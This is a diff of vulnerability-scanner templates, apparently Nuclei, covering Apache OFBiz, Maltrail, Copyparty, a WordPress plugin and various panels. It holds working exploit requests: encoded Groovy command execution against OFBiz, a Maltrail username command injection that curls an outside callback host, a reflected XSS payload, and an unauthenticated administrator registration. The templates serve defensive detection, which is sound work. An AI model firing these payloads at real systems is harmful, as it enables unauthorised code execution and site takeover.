-# digest: 4b0a00483046022100c92aa630ae2f0766545a12eeb712882d2d86ee5e933e9770902d76e439f8064302210084101b00686b467cf1a554c0f7a670f77635586a1c7316b57958e68cbc11c508:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b35aa66ca0e28ac7878811473bb7c493b58894700ffd618f9d46fbc4c95794c802202aa4fb77f4656b22f7934f3565b397feed13288233b90139f3f780336d0816c1:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ headless:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022043de30253bab06f84c48f0e3da92312c9e4e92ad47f4c1377a3253bd572cb9d702210087d573b16d897ea86dc84c9d2b4a9e0d94944f93c13a7b81ff84427f177c6c48:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202c1c150c6904d50fe2bc5aa832307ae8e3cb4d1a183ba105a26c475a10defa71022100c272077a4ee827b5aa42e07d5175a596861f036c01c93d65193705a2a7d95ca1:922c64590222798bb761d5b6d8e72950
@@ -51,13 +51,10 @@ http:

    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        condition: and
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: word
        part: header
@@ -67,4 +64,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022038148b2806c69fd7c7b3e43406b6413317c7bf2ce6b6370d154fe544630691f7022100e7b18c5423e5761926e7e9d4e3cc779b2bcc61b3bf13cf36e8317068bc75d6d1:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202b5965d1f9657cf348e7aea47e2007b879e608dca02c820d132fb69833ee3660022038c622e8bac583966ca9c3c1266044473d44129139614b76b15b9a12236bd7e6:922c64590222798bb761d5b6d8e72950
@@ -42,15 +42,12 @@ http:

    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body_2
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        condition: and
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
-# digest: 4a0a004730450220701de468852a0308df5f7800f563dc37c7f3432ca6e55abac496c4d34922d29f022100973b8b2b48edfe2215098955ff483b59db2679a2791461ff49619f3e75c4da92:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204a6c2a72cf9ab669b4057a3e7b7529a4d51070e269524f659d0d42b15df0eb34022100ba31cf450bbea11b53ebbb61099479c73218a0d3dde7c31fd8b59346058d571f:922c64590222798bb761d5b6d8e72950
@@ -42,15 +42,12 @@ http:

    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body_2
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        condition: and
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100b0c0e18a1378d60acf899f6c700882fd541ba798098b5f3bd7017ffe9476d0950221008f3bc39eb882368273a7148c4e10921741f747a83a52fd1a4aa11706aa9cd83c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206cd1c074ded9e86d901d01fe853c6f9a2c5e36669c72c9982a97b6b1c6772e0d022100e0b3cef49f9d99129ddcc81b83b4f4e6b9990285cf9957a34f59e13f6282faa7:922c64590222798bb761d5b6d8e72950
@@ -2,10 +2,10 @@ id: CVE-2022-1595

 info:
  name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
-  author: theamanrawat
+  author: theamanrawat,oleveloper
  severity: medium
  description: |
-    WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
+    The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request
  remediation: |
    Update to the latest version of WordPress HC Custom WP-Admin URL plugin (>=1.5) to mitigate the vulnerability.
  reference:
@@ -21,12 +21,8 @@ info:
    epss-percentile: 0.94408
    cpe: cpe:2.3:a:hc_custom_wp-admin_url_project:hc_custom_wp-admin_url:*:*:*:*:*:wordpress:*:*
  metadata:
-    verified: true
    max-request: 1
-    vendor: "hc_custom_wp-admin_url_project"
-    product: "hc_custom_wp-admin_url"
-    framework: wordpress
-  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url,hc_custom_wp-admin_url_project
+  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url

 http:
  - raw:
@@ -35,11 +31,19 @@ http:
        Host: {{Hostname}}
        Cookie: valid_login_slug=1

+    matchers-condition: and
    matchers:
-      - type: dsl
-        dsl:
-          - "status_code == 302"
-          - "contains(header, 'wordpress_')"
-          - "contains(header, 'Location')"
-        condition: and
-# digest: 4a0a00473045022007e840c0269957fcd1f9d951671089bda90fc2957ed36efbf9c9e5e01723cc0b022100870fb0ff8950d25f12f3ca53d1dca0402d40a56f673edd3b3fb070f285e0704c:922c64590222798bb761d5b6d8e72950
+      - type: regex
+        part: header
+        regex:
+          - "(?i)Set-Cookie:.*wordpress_logged_in_"
+
+      - type: regex
+        part: header
+        regex:
+          - "(?i)Location:.*(/wp-admin/|/[^/]+/wp-login\\.php)"
+
+      - type: status
+        status:
+          - 302
+# digest: 4b0a00483046022100b0eddd8f8322482719cd269a061c43122645c8fedfe99dd448d5683b4574dc9a022100efe4cd6fdffc0327e24b1481f1d17d4a8f0a018dcaf5323a636bf9b519e5a312:922c64590222798bb761d5b6d8e72950
@@ -1,11 +1,13 @@
 id: CVE-2024-36104

 info:
-  name: Apache OFBiz - Path Traversal
+  name: Apache OFBiz - Directory Traversal & Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.
+  impact: |
+    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  reference:
    - http://www.openwall.com/lists/oss-security/2024/06/03/1
    - https://issues.apache.org/jira/browse/OFBIZ-13092
@@ -22,11 +24,12 @@ info:
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 1
+    max-request: 2
    fofa-query: app="Apache_OFBiz"
+    shodan-query: 'title:"OFBiz"'
    product: ofbiz
    vendor: apache
-  tags: cve,cve2024,apache,obiz,lfi
+  tags: cve,cve2024,apache,ofbiz,lfi

 http:
  - raw:
@@ -37,12 +40,21 @@ http:

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

+      - |
+        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0070\u0063\u006f\u006e\u0066\u0069\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
+
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
+          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+        condition: or

      - type: word
        part: body
@@ -52,4 +64,3 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100a2d5c8cc6d7267c0909232012c3fd6f87edc5ec8a9d48c857d01f957510257b2022100b31add5960f654e7c4e34199c1d47e962ed51a783c58128ab53cffdc4e0018dc:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022048c072984972320ae3365f0a7549749bb14f0c52a1f2bd9f874ddb6463ffdc9202210088d7235b80a6e58fa29f53598ca8178f351a1830bcdba836a553d04dc9bc49e9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008a90bf21bc0472c9480544de5221edb035aad7c7bf69478ffb834be48d79555f02206c5a1bfc6b1f0dad72c50dab0af40d09dfe6f50694ee1ccd276c62e7fa6a1c45:922c64590222798bb761d5b6d8e72950
@@ -1,11 +1,13 @@
 id: CVE-2024-38856

 info:
-  name: Apache OFBiz - Remote Code Execution
+  name: Apache OFBiz - Improper Authorization & Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
-    Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
+    Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
+  impact: |
+    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  reference:
    - https://unam4.github.io/2024/08/05/CVE-2024-38856-ofbiz-12-14-filter%E7%BB%95%E8%BF%87%E5%88%B0rce/
    - https://issues.apache.org/jira/browse/OFBIZ-13128
@@ -13,16 +15,21 @@ info:
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
  classification:
-    epss-score: 0.94366
-    epss-percentile: 0.99957
+    cve-id: CVE-2024-32113
+    cvss-score: 9.8
+    cwe-id: CWE-22
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    epss-score: 0.93490
+    epss-percentile: 0.99819
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 1
+    max-request: 2
    fofa-query: app="Apache_OFBiz"
+    shodan-query: 'title:"OFBiz"'
    product: ofbiz
    vendor: apache
-  tags: cve,cve2024,ofbiz,apache,rce,kev
+  tags: cve,cve2024,apache,ofbiz,rce,kev

 http:
  - raw:
@@ -33,12 +40,21 @@ http:

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

+      - |
+        POST /webtools/control/main/ProgramExport HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0070\u0063\u006f\u006e\u0066\u0069\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
+
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
+          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+        condition: or

      - type: word
        part: body
@@ -48,4 +64,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022017abae5c23708789e69056ac955d01f6bc60b38c5a5932a8b8f5e9044997c37002204a50e7dc3179dff2a73963f388cc0bfb50548dcfdceafc10fea41f14ae3c4cda:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203100c0a829b37f782e358409a1f5cfd8cfff093a0942997231028551d5506d1c022100b428a793dae5e4b3daf73b997fd0afe7806d592864c4fafec53aa85c7e9ec74f:922c64590222798bb761d5b6d8e72950
@@ -59,4 +59,4 @@ http:
        part: header
        words:
          - "text/javascript"
-# digest: 4a0a0047304502205ae16d4b24395e3dc51224675f6236339f74132388417dbb3514b27c5e2f0ea602210089415ae16845d45fc288c45bdffcf835a4afcdde49eb96e0f8a5ab8aee27986e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fd4b75730947af38dcee673a6996c170d8255a8156e5ec5a4652d0be67f80b83022100e8f2e0581c7e8c6fe0561d263c5e91e70dea7da42558161650312da1f3c4eb7d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,35 @@
+id: CVE-2025-34073
+
+info:
+  name: Maltrail <=0.54 Username Parameter -  Remote Command Execution
+  author: SeungAh-Hong
+  severity: critical
+  description: |
+    Maltrail versions <=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.
+  reference:
+    - https://huntr.com/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87
+    - https://vulncheck.com/advisories/stamparm-maltrail-rce
+    - https://github.com/stamparm/maltrail/issues/19146
+    - https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/http/maltrail_rce.rb
+  metadata:
+    max-request: 1
+    shodan-query: http.title:"Maltrail"
+    fofa-query: app="Maltrail"
+  tags: cve,cve2025,maltrail,rce,unauth,oss
+
+http:
+  - raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username=;`curl http://{{interactsh-url}}`
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(header, "Maltrail")'
+          - "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"
+        condition: and
+# digest: 4b0a00483046022100b6cb29e1be26b66ef70b5fe49d9d0f66de28b03f334d700f770936c37794fbc90221008118e7b969383762eab736c41540f15bdd9e2f0627dede0ba5d6ed0bed34e851:922c64590222798bb761d5b6d8e72950
@@ -133,4 +133,4 @@ http:
          - 'contains(x_nuclei,"CVE-2025-53770")'
          - 'contains(body, "MSOTlPn_DWP")'
        condition: and
-# digest: 490a0046304402206ca7783cc250aaab0bf73c1058f9b3ed3634732282d23d351c5c7923a59972a4022056a50868b32ba116b1381cf8efa0d132b9b915b381b94c847fd8fdb4c1a16cbc:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022050d3c2047a0a615a9110f7054c0735147d57d40d72b8bd5faa230e53e9504dc6022068b7baae2c004a6c14dc76b622a4d60cabd5be614cd93d85f7930e74c67656b3:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,54 @@
+id: CVE-2025-54589
+
+info:
+  name: Copyparty <=1.18.6 - Cross-Site Scripting
+  author: s-cu-bot
+  severity: medium
+  description: |
+    Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
+  remediation: |
+    Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
+  reference:
+    - https://github.com/9001/copyparty
+    - https://secalerts.co/vulnerability/CVE-2025-54589
+    - https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-54589
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
+    cvss-score: 6.3
+    cve-id: CVE-2025-54589
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: copyparty_project
+    product: copyparty
+    shodan-query: http.title:"copyparty"
+    fofa-query: title="copyparty"
+    google-query: intitle:"copyparty"
+  tags: cve,cve2025,xss,copyparty
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'filter": "</script><script>alert(document.domain)</script>'
+          - 'control-panel'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a004830460221008af4bca4f363dd3577c686ab93f9b2ea0ddf3e0be56f3957dcf63ad864e0c3a8022100bc0a140af3e9496fc5157c56c5faa7a943ad458b07e20481f46fb2da5c0476e7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,72 @@
+id: CVE-2025-6934
+
+info:
+  name: The Opal Estate Pro – Property Management <= 1.7.5 - Unauthenticated Privilege Escalation
+  author: pussycat0x
+  severity: critical
+  description: |
+    The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.
+  impact: |
+    An attacker can exploit this vulnerability to register with administrator privileges, gaining complete control over the WordPress site.
+  remediation: |
+    Update the Opal Estate Pro plugin to a version newer than 1.7.5 when available, or remove the plugin if not essential.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-6934/blob/main/README.md
+    - https://wordpress.org/plugins/opal-estate-pro/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-6934
+    cwe-id: CWE-269
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: themeforest
+    product: opal-estate-pro
+    publicwww-query: "/wp-content/plugins/opal-estate-pro/"
+  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,opalestate
+
+flow: http(1) && http(2)
+
+variables:
+  username: "{{randstr}}"
+  password: "{{to_lower(rand_text_alpha(8))}}"
+  email: "{{randstr}}@{{rand_base(5)}}.com"
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "opalestate-register-nonce"
+        internal: true
+
+    extractors:
+      - type: regex
+        group: 1
+        name: nonce
+        part: body
+        internal: true
+        regex:
+          - 'name="opalestate-register-nonce" value="([a-f0-9]+)"'
+
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username={{username}}&email={{email}}&password={{password}}&password1={{password}}&role=administrator&confirmed_register=on&opalestate-register-nonce={{nonce}}&_wp_http_referer=%2F&ajax=1&action=opalestate_register_form
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body, 'status\":true')
+          - status_code == 200
+        condition: and
+# digest: 4a0a00473045022100e8989d1aecaff5733f64ddbf34fe295a86daa81ded474f940e42a69022b8630802205b14d8b735e4f48019bd42cb80a9b9f4260396ed99e0412d3880644d78622b6e:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code==200 && contains(tolower(body), "<title>ackee")'
          - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
        condition: or
-# digest: 4b0a00483046022100ff5f741b03f86bac8c6cde13b7a8f371942486e26acb6cff1d8104f6fc1b165b022100d2876d953f131f4c7c50b488d9f042a6a1a030f1aef60b6b36b4b2e5c074ce50:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205f8ed0c3c5ca7e0ef70bf8457d602f44fb985f705017c82d3dc9cb09daf3c2ec0221008a155728964f2ad74cedc09f7fb9a5814f3ea2b2e2011d34a6dae0b020e2f5d4:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4a0a004730450220787ab6a34dd493c17350d917f6ef429d24e2024c25de050787a67be24a732b49022100e5c876f3343da52ad7cbc94a5ac88e888f99dbd735ad341eb67548961e5f6a68:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220489d5f388122e818fb36b43a0c60c793883f49286ae6f24f612542707e46a622022100f8c97dd1a825d70ae92c416be65bd2bb78539aa423412e980c386f188c56bc2a:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
        group: 1
        regex:
          - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4b0a00483046022100e32cbb1e68ca273760104929c6c5e56828a7354937451b6807ef8361447e213b022100b3d22ae67d7d0899f03af9fd9f4e3622792a7de93294cb6cf8a9fe093ced3171:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dc923b2e87074c526f807fb41d7a99c618ee9e3994ebfb4aaf9296b7a14cf773022030f587867b19d856be95ea17555e3bd79d9ae060d6ac9860fe190da706556e3c:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
        group: 1
        regex:
          - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4b0a00483046022100a840641895253bcab96ea90ff54f7dcd582feee95b75c5a3ec8440f0eb44378502210080ae59c47d9d025208edc494dd354857962a181c5a14c2922d1a443010d22caa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220590c5954fc1ac10de23a59a6838c604a523ae5084452b84815cb37d0eb000f82022100c81ab400859468a120c7b7f4425dfb8c10ed0d07cdce5fd3b5cbb9caebbb191e:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'Version:?\s+([0-9.]+)'
-# digest: 4b0a00483046022100c41849e8f37f095118310c8378348e9c73e293c3cac4b8d00d10d90c3c0deef302210080559affebcbcd75473114701d34dc910d80da103df92c94bcbbee66c2c3b45f:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220447411703bf409772dd15e2a7e43a0a3875d9b40d6e428f76bdc0f8d241c5dbc02203cf3ab404bed2075fde105ad48ab315a67969a9a0ba9406db694e77608fa9758:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "title=\"blue yonder\"")'
        condition: and
-# digest: 4a0a004730450220797d399137070b7a52f4d7b06e08c52a90ed62c434bd1093d2abc4c15ad2523c022100f2133ca7d2b5b167fed670dab4430d52179811d7ba45ce4cd377463dc3753c83:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022077f2f69653626b361d2d1627623ae7855b11b5777ae01f9136158d400cfaf9e20220533e903b43ce7c664a884a8e42d529fa91127ba7e2b74140ca66ca680d457557:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
          - 'contains(to_lower(body), "file exchange</title>")'
          - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
        condition: and
-# digest: 4a0a00473045022100985d4f45113381a9222f26e94809eec9b4f04db57feb533381da819fc61448b60220222e856eabc25f5a90ab21e4511c3e8a1842131ab8fa593feb2a4b3b2eae8510:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207d7fd3192fb8dbd484ffc294138daf36969d8108144c00280fb7272b09bff33e0220536a3f0c36ae6906d747710f73600e45e61aefcc7c3bd91f4f4391b4734e287a:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
        condition: and
-# digest: 490a0046304402203b54e12cac2a15728e64617ea8fa9b8271e88f0ef489c8aede20e730bacc1e4002202663e709509647a6727b4bbd0306c8bb3ec9872ba39efac6a79ea7bece1266a1:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201530bbd07a84c4827d4f0bd330bc886746d12dd1babe72b1e12982d4fdee834b02203820e8a5553ab89201d1a059ff195ae77be5b02e443d314ff0633fd0d4981db6:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 490a00463044022050eb256d194d249d78a70029c475516895b1a480d0f34fb07bfe548cc9f62b6502200be3b085943e2cbd700f20ef1161d85ab5f8b107b25e1f3bbdf8f7d773d668f3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207104a08f4388c04a974a813784233d1138e12bd3b734107dfba299d80da85de9022100ddd18081db0fe1c92efa2083fa47f28ea158991be4d298eb8300948125f50f46:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100bf07b57d8c11da65ae651a1a9befd59aa2b66ecd013272b183a00b525d8d4d5602207e465c8803a28d41cc78f63408b904b3188088473b07637e5eb8dd68ef6f54ab:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d0f57f4ac10cc66e153f94c053606fde8f385582b2e2d7c0d6f7644f9386254602204e7983b47a2db5d4d15fb74a713527c60ebc7a8d41cc898358f64e0f7f7a4e56:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502200dda8f01b042662dba19004927b64739bdae530816740d68c9e157f3c84b27e4022100b1985dba9232771674760665c769e0f09ec32601a34a9fbd339dd2fc5bac7ab7:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022077624d301100b081f3535e1b55f30f5c192c556c72284c653514f47355af453602206ec90dab8472900b7c06f99db013ea3f3d408989d9d2a5ee27b2622c92667820:922c64590222798bb761d5b6d8e72950
@@ -47,4 +47,4 @@ http:
      - type: dsl
        dsl:
          - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 490a0046304402203bdb5c76de896496c1a5c5e6e6f0d219a765571c8a8324408cc84f2b7691d4d502202e3e2a4efff54cdd75d8988e9106eba5c2515bb6530d2933f0fd166a089363ac:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100caba70f154ec844ac3be9112445b94fae0cebc92ba4b92e3ec0b2b6cbc86af6c022100f7c393c7b936b983112b49ec51d2f775fa22edf765d1dc8d5eb5ac48c0b98ead:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        regex:
          - '(?i)package:\s+"([a-z0-9._-]+)"'
          - '(?i)version&nbsp;:&nbsp;([a-z0-9._-]+)'
-# digest: 4b0a00483046022100eb2e51403d21b819361a1d5f30dd27f928bf39cd008f2f27c22b12370a74de52022100c55e85fa42ebe99b878c47f32e6a1ffdc3404acf087176fe8a58df593744c18c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f296a3e0cba1b1f18d4b4d926bb39ba87f9bd565a524a837b21eba6ba0d8e52f022100eac4cee10f783f19e7fea98adf276887277dd5a514913e788fc9444abfff3a90:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
+id: espec-web-controller-panel
+
+info:
+  name: Espec Web Controller - Panel
+  severity: info
+  author: darses
+  description: |
+    Espec Web Controller panel was discovered.
+  reference:
+    - https://espec.com/na/products/option_detail/web_controller/
+  metadata:
+    max-request: 2
+    vendor: espec
+    product: web_controller
+    shodan-query:
+      - title:"Espec Web Controller"
+      - http.favicon.hash:529766441
+    fofa-query:
+      - title="Espec Web Controller"
+      - icon_hash="1190353375"
+  tags: panel,espec,ics,login
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/version"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Espec Web Controller"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "Version: ([\\d\\.]+)"
+# digest: 490a0046304402207e9b2231405ae2603c27b55115092117c363707e4ca204fda30e886d80b47ef702201c5c2d4dde2a7e798a5f792e9ddd7fc19cf180a5ea3a790629b2b11d96865f19:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100ce6c40a2697ea97b736e2d5f8dd3b264d199975f1f55cd49f6c43daf54f6e6c302204d9d9bdeddf88ebc14d17d5bc4e78b59d2cc3205eea05ece2d0da9e17333dc9b:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d182a09a75666909fcd623caac19259cdf65899ac53822eb02eeb965f0a0e1c02203201b015b9699e664871e72895de1851b71b5724b4ea70400a342c5575a9ec75:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022054bb5fcfb03035568b8b1491be1e634c562d3a33467b1f6ca0a1107f70ee89ab022100b059a626687491d6c4fb01330655339fb3b961328c226a1d746bffc88f970311:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022021150f867081e2a40ba2937d33608c68a7e03f1fbb556c3b34953e9d31773b14022100f8127348ebc70ce6e0060d4dc23fa0dc30288d0391bd9fd76b9bfd83705faf4d:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100a5717429beedb31addab2a0777607fd0f81442b62b3beaeb314f7451df970659022100d0d352213ae8cf420cb77d1c3d3fcc271c1ebc621d9ada0951f2196b25249a58:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ce2423b6f5392644fb17047ecf44e07a4d780f2e9789284322ad4afce6bdf90f022100fa84197a1c9b9199e1e152087fe2fac898839fa9c4a33a8d27061abc5e7a515f:922c64590222798bb761d5b6d8e72950
@@ -24,4 +24,4 @@ http:
          - 'status_code == 200'
